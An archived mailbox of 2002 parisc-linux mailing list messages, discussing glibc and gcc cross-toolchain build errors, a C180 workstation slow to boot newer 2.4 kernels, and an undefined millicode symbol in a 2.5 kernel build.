>to build an unpatched version of glibc 2.3.1 :)

I am not this one but to build toolchain I used the last glibc-2.3.1-5 dpkg
sources and the build of glibc was successfully completed this night :)

Congratulation,
    Joel

PS1: gcc-3.3 (let say phase 2) failled but I still have a look

>
>I have the patches required to build glibc 2.3.1,
>if this person is still interested, please email 
>me or the list.
>
>Actually, 5 of the 8 patches I have are now in upstream
>glibc... so you need very little to get upstream 
>building (gcc-3.2 and new binutils).
>
>My incoming email gets very filtered these days, 
>and if you're in the queue for more than 30 days
>it's likely that I'll forget... unless you have
>physical presence in my life or frequent IRC
>(e.g. Red haired vixens (real life), or Tausq (IRC) :)
>

ps2: Do you get my last mail about trap 17 investigation results

-----------------------------------------------------
ADSL Advantage...L'activation et le 1er mois sont GRATUITS...http://adsl.tiscali.be




From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] glibc + SuSE (When email becomes to much)
Date: Thu, 21 Nov 2002 08:39:43 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <3DA3C54C000066FE@ocpmta5.be.tiscali.com>
References: <3DA3C54C000066E1@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621951 17406 80.91.229.3 (22 Nov 2014 02:05:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:51 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 21 00:40:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 825A2482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 00:40:18 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ElwM-0002sb-00; Thu, 21 Nov 2002 08:39:58 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 21 Nov 2002 08:39:43 +0100
In-Reply-To: <3DA3C54C000066E1@ocpmta5.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16875

>-- Original Message --
>From: jsoe0708@tiscali.be
>Subject: RE: [parisc-linux] glibc + SuSE (When email becomes to much)
>To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
>	parisc-linux@lists.parisc-linux.org
>Date: Thu, 21 Nov 2002 07:53:21 +0100
>
>
>Hi Carlos,
>
>>pa,
>>
>>I remember someone posting an email about trying
>>to build an unpatched version of glibc 2.3.1 :)
>
>I am not this one but to build toolchain I used the last glibc-2.3.1-5 dpkg
>sources and the build of glibc was successfully completed this night :)
>
>Congratulation,
>    Joel
>
>PS1: gcc-3.3 (let say phase 2) failled but I still have a look
>
Here is the error message:
mkdir libgcc
if [ -f stmp-dirs ]; then true; else touch stmp-dirs; fi
/Develop/parisc-linux/build/gcc/gcc/xgcc -B/Develop/parisc-linux/build/gcc/gcc/
-B/Develop/parisc-linux/parisc-SN33/hppa-linux/bin/ -B/Develop/parisc-linux/parisc-SN33/hppa-linux/lib/
-isystem /Develop/parisc-linux/parisc-SN33/hppa-linux/include -O2  -DIN_GCC
   -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem
./include  -fPIC -DELF=1 -DLINUX=1 -g -DHAVE_GTHR_DEFAULT -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED
 -I. -I. -I/Develop/parisc-linux/src/gcc/gcc -I/Develop/parisc-linux/src/gcc/gcc/.
-I/Develop/parisc-linux/src/gcc/gcc/config -I/Develop/parisc-linux/src/gcc/gcc/../include
-DL_divI -xassembler-with-cpp -c /Develop/parisc-linux/src/gcc/gcc/config/pa/milli64.S
-o libgcc/./_divI.o
/Develop/parisc-linux/build/gcc/gcc/collect2: /lib/libc.so.6: version `GLIBC_2.3'
not found (required by /Develop/parisc-linux/build/gcc/gcc/collect2)
make[2]: *** [libgcc/./_divI.oS] Error 1
make[2]: Leaving directory `/Develop/parisc-linux/build/gcc/gcc'
make[1]: *** [libgcc.a] Error 2
make[1]: Leaving directory `/Develop/parisc-linux/build/gcc/gcc'
make: *** [all-gcc] Error 2

### Wed Nov 20 18:54:33 2002 ###

So it seems that it did not get the right path to the libc.so?

Thanks in advance for help,
    Joel


-----------------------------------------------------
ADSL Advantage...L'activation et le 1er mois sont GRATUITS...http://adsl.tiscali.be




From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Jantzen <chris-parisc@maybe.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 not booting Sarge kernel
Date: Thu, 21 Nov 2002 01:01:54 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20021121090154.GB23152@maybe.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621952 17408 80.91.229.3 (22 Nov 2014 02:05:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 21 02:02:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.maybe.net (12-231-234-80.client.attbi.com [12.231.234.80])
	by dsl2.external.hp.com (Postfix) with SMTP id C560A482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 02:02:25 -0700 (MST)
Original-Received: (qmail 21952 invoked by uid 1000); 21 Nov 2002 09:01:54 -0000
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16876

FYI, my sarge-based C180 has not been able to boot 2.4.19-32_18 or _22.1;
I have to interact with IPL and fall back to 2.4.18_62.2. It gets as
far as the "...if this is the last message you see..." and I never hear
from it again, even on the network. And I think after a very very long
time, it falls back to firmware. At least, I see DHCP requests coming
out of it after a while. (I only just hooked up serial console to
interact with IPL after getting no response. No I don't boot it up too
often, it's a "side project".)

Also, "uname -a" segfaults.

I'll try unplugging the GSC and EISA cards plugged into it tomorrow.
I'll also try letting it just sit there under supervision and see what
really happens.

-- 
chris jantzen kb7rnl =->         __O
Insert witty comment here.     _`\<,_
http://www.maybe.net/         (*)/ (*)


From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 not booting Sarge kernel
Date: Thu, 21 Nov 2002 08:57:54 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20021121135754.GA3811@systemhalted>
References: <20021121090154.GB23152@maybe.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621952 17410 80.91.229.3 (22 Nov 2014 02:05:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chris Jantzen <chris-parisc@maybe.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 21 06:57:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9BB9482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 06:57:46 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18Erq7-0000zr-00; Thu, 21 Nov 2002 08:57:55 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Chris Jantzen <chris-parisc@maybe.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021121090154.GB23152@maybe.net>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (14% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16877

> FYI, my sarge-based C180 has not been able to boot 2.4.19-32_18 or _22.1;
> I have to interact with IPL and fall back to 2.4.18_62.2. It gets as
> far as the "...if this is the last message you see..." and I never hear
> from it again, even on the network. And I think after a very very long
> time, it falls back to firmware. At least, I see DHCP requests coming
> out of it after a while. (I only just hooked up serial console to
> interact with IPL after getting no response. No I don't boot it up too
> often, it's a "side project".)

HP hardware is occasionally quirky :}

> Also, "uname -a" segfaults.

That bug got squashed in unstable. You'll see the fix soon.
 
> I'll try unplugging the GSC and EISA cards plugged into it tomorrow.
> I'll also try letting it just sit there under supervision and see what
> really happens.

Good idea :)
If it doesn't work, get back to the list.

c.


From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc + SuSE (When email becomes to much)
Date: Thu, 21 Nov 2002 11:05:17 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200211211605.gALG5IFM000465@hiauly1.hia.nrc.ca>
References: <3DA3C54C000066FE@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621952 17415 80.91.229.3 (22 Nov 2014 02:05:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:52 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 21 09:33:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52801482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 09:33:43 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gALG5Jot000466;
	Thu, 21 Nov 2002 11:05:19 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gALG5IFM000465;
	Thu, 21 Nov 2002 11:05:18 -0500 (EST)
In-Reply-To: <3DA3C54C000066FE@ocpmta5.be.tiscali.com> from "jsoe0708@tiscali.be" at Nov 21, 2002 08:39:43 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16878

> -DL_divI -xassembler-with-cpp -c /Develop/parisc-linux/src/gcc/gcc/config/pa/milli64.S
> -o libgcc/./_divI.o
> /Develop/parisc-linux/build/gcc/gcc/collect2: /lib/libc.so.6: version `GLIBC_2.3'
> not found (required by /Develop/parisc-linux/build/gcc/gcc/collect2)
> make[2]: *** [libgcc/./_divI.oS] Error 1
> make[2]: Leaving directory `/Develop/parisc-linux/build/gcc/gcc'
> make[1]: *** [libgcc.a] Error 2
> make[1]: Leaving directory `/Develop/parisc-linux/build/gcc/gcc'
> make: *** [all-gcc] Error 2
> 
> ### Wed Nov 20 18:54:33 2002 ###
> 
> So it seems that it did not get the right path to the libc.so?

Set LD_LIBRARY_PATH to include the directory where your new libc is.
You may also want to set the GCC LIBRARY_PATH environment variable.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 not booting Sarge kernel
Date: Thu, 21 Nov 2002 08:34:38 -0900 (AKST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211210831370.23497-100000@wolf.alaskatech>
References: <20021121090154.GB23152@maybe.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621953 17420 80.91.229.3 (22 Nov 2014 02:05:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chris Jantzen <chris-parisc@maybe.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 21 10:34:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wolf.alaskatech (207-5-237-24-cable.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8E3E482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 10:34:06 -0700 (MST)
Original-Received: from wolf.alaskatech (palinux@wolf.alaskatech [24.237.5.207])
	by wolf.alaskatech (8.12.3/8.12.3/Debian -4) with ESMTP id gALHYcRO023533;
	Thu, 21 Nov 2002 08:34:38 -0900
X-X-Sender: palinux@wolf.alaskatech
In-Reply-To: <20021121090154.GB23152@maybe.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16879

On Thu, 21 Nov 2002, Chris Jantzen wrote:
> FYI, my sarge-based C180 has not been able to boot 2.4.19-32_18 or _22.1;
> I have to interact with IPL and fall back to 2.4.18_62.2. It gets as
> far as the "...if this is the last message you see..." and I never hear
> from it again, even on the network. And I think after a very very long
> time, it falls back to firmware. At least, I see DHCP requests coming
> out of it after a while. (I only just hooked up serial console to
> interact with IPL after getting no response. No I don't boot it up too
> often, it's a "side project".)

This is the "bus-walk" issue I asked about a few weeks back. Apparently
the system is looking through every possible connection, looking for
peripherals, and doesn't continue until it finishes. My C180 sits for ~20
minutes at that point, then continues and runs normally. Boots normally on
2.4.18-pa59, happens on all the 2.4.19 kernels (pa20, pa24 for sure, as I
tried both of those). Not sure about 2.4.20-rc1-pa6, but it did boot (I
wasn't paying attention - powered up before dinner, after dinner
everything was waiting for me <g>)

"They" swear this has a fix in 2.5, but I just let it take it's time and
all seems happy...




From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5cvs with gcc-3.3cvs
Date: Thu, 21 Nov 2002 20:23:24 +0000 (UTC)
Lines: 48
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211212015160.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621953 17422 80.91.229.3 (22 Nov 2014 02:05:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 21 13:23:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8112D482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 13:23:05 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 15E5C1FFEC7
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 21:22:50 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 5E4871FFEEF; Thu, 21 Nov 2002 21:22:49 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id F045522E1B; Thu, 21 Nov 2002 20:23:24 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id E6F3822E1A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 20:23:24 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16880

Hi,

for all compiling a 2.5cvs kernel with gcc-3.3cvs ... how ?


--- cut ---
  gcc -Wp,-MD,arch/parisc/lib/.memset.o.d -D__KERNEL__ -Iinclude -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -nostdinc -iwithprefix
include    -DKBUILD_BASENAME=memset   -c -o arch/parisc/lib/memset.o arch/parisc/lib/memset.c
  rm -f arch/parisc/lib/lib.a; ar  rcs arch/parisc/lib/lib.a arch/parisc/lib/lusercopy.o arch/parisc/lib/bitops.o arch/parisc/lib/checksum.o arch/parisc/lib/io.o arch/parisc/lib/memset.o
  gcc -E -Wp,-MD,arch/parisc/.vmlinux.lds.s.d_ -D__ASSEMBLY__ -D__KERNEL__ -Iinclude -nostdinc -iwithprefix include   -P -C -Uparisc   -o arch/parisc/vmlinux.lds.s arch/parisc/vmlinux.lds.S
echo '  Generating build number'
  Generating build number
. scripts/mkversion > .tmp_version
mv -f .tmp_version .version
make -f scripts/Makefile.build obj=init
  Generating include/linux/compile.h (updated)
  gcc -Wp,-MD,init/.version.o.d -D__KERNEL__ -Iinclude -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -nostdinc -iwithprefix include
-DKBUILD_BASENAME=version   -c -o init/version.o init/version.c
   ld   -r -o init/built-in.o init/main.o init/version.o init/do_mounts.o init/initramfs.o
        ld  -T arch/parisc/vmlinux.lds.s arch/parisc/kernel/head.o   init/built-in.o --start-group  usr/built-in.o arch/parisc/kernel/pdc_cons.o arch/parisc/kernel/process.o  arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o  arch/parisc/hpux/built-in.o  arch/parisc/math-emu/built-in.o
arch/parisc/kernel/init_task.o  kernel/built-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o  security/built-in.o  crypto/built-in.o  lib/lib.a  arch/parisc/lib/lib.a `gcc -print-libgcc-file-name`  drivers/built-in.o  sound/built-in.o  net/built-in.o --end-group  -o vmlinux
arch/parisc/kernel/built-in.o(__ksymtab+0x250): undefined reference to `$$mulU'
make: *** [vmlinux] Error 1
--- cut ---


build with:

bz@apollo:/usr/src/linux> gcc -v
Reading specs from /usr/local/lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../gcc/configure -v --enable-languages=c,c++ --enable-shared --with-gnu-as --with-gnu-ld --with-system-zlib --enable-long-long --enable-nls --without-included-gettext --disable-checking --enable-threads=posix hppa-linux
Thread model: posix
gcc version 3.3 20021120 (experimental)


and either:
	binutils 2.13.90.0.10-2 (debian)
or
	binutils 20021107 (compiled with gcc-3.3cvs)


same error with both......

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5cvs with gcc-3.3cvs
Date: Thu, 21 Nov 2002 15:30:03 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200211212030.gALKU3h6001922@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.44.0211212015160.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621953 17424 80.91.229.3 (22 Nov 2014 02:05:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 21 13:30:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C0BD482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Nov 2002 13:30:09 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gALKU4ot001923;
	Thu, 21 Nov 2002 15:30:04 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gALKU3h6001922;
	Thu, 21 Nov 2002 15:30:03 -0500 (EST)
In-Reply-To: <Pine.BSF.4.44.0211212015160.39295-100000@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at Nov 21, 2002 08:23:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16881

>         ld  -T arch/parisc/vmlinux.lds.s arch/parisc/kernel/head.o   init/built-in.o --start-group  usr/built-in.o arch/parisc/kernel/pdc_cons.o arch/parisc/kernel/process.o  arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o  arch/parisc/hpux/built-in.o  arch/parisc/math-emu/built-in.o
> arch/parisc/kernel/init_task.o  kernel/built-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o  security/built-in.o  crypto/built-in.o  lib/lib.a  arch/parisc/lib/lib.a `gcc -print-libgcc-file-name`  drivers/built-in.o  sound/built-in.o  net/built-in.o --end-group  -o vmlinux
> arch/parisc/kernel/built-in.o(__ksymtab+0x250): undefined reference to `$$mulU'

$$mulU is a non-existant millicode function.  It is not needed and the
reference should be removed from the kernel source.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
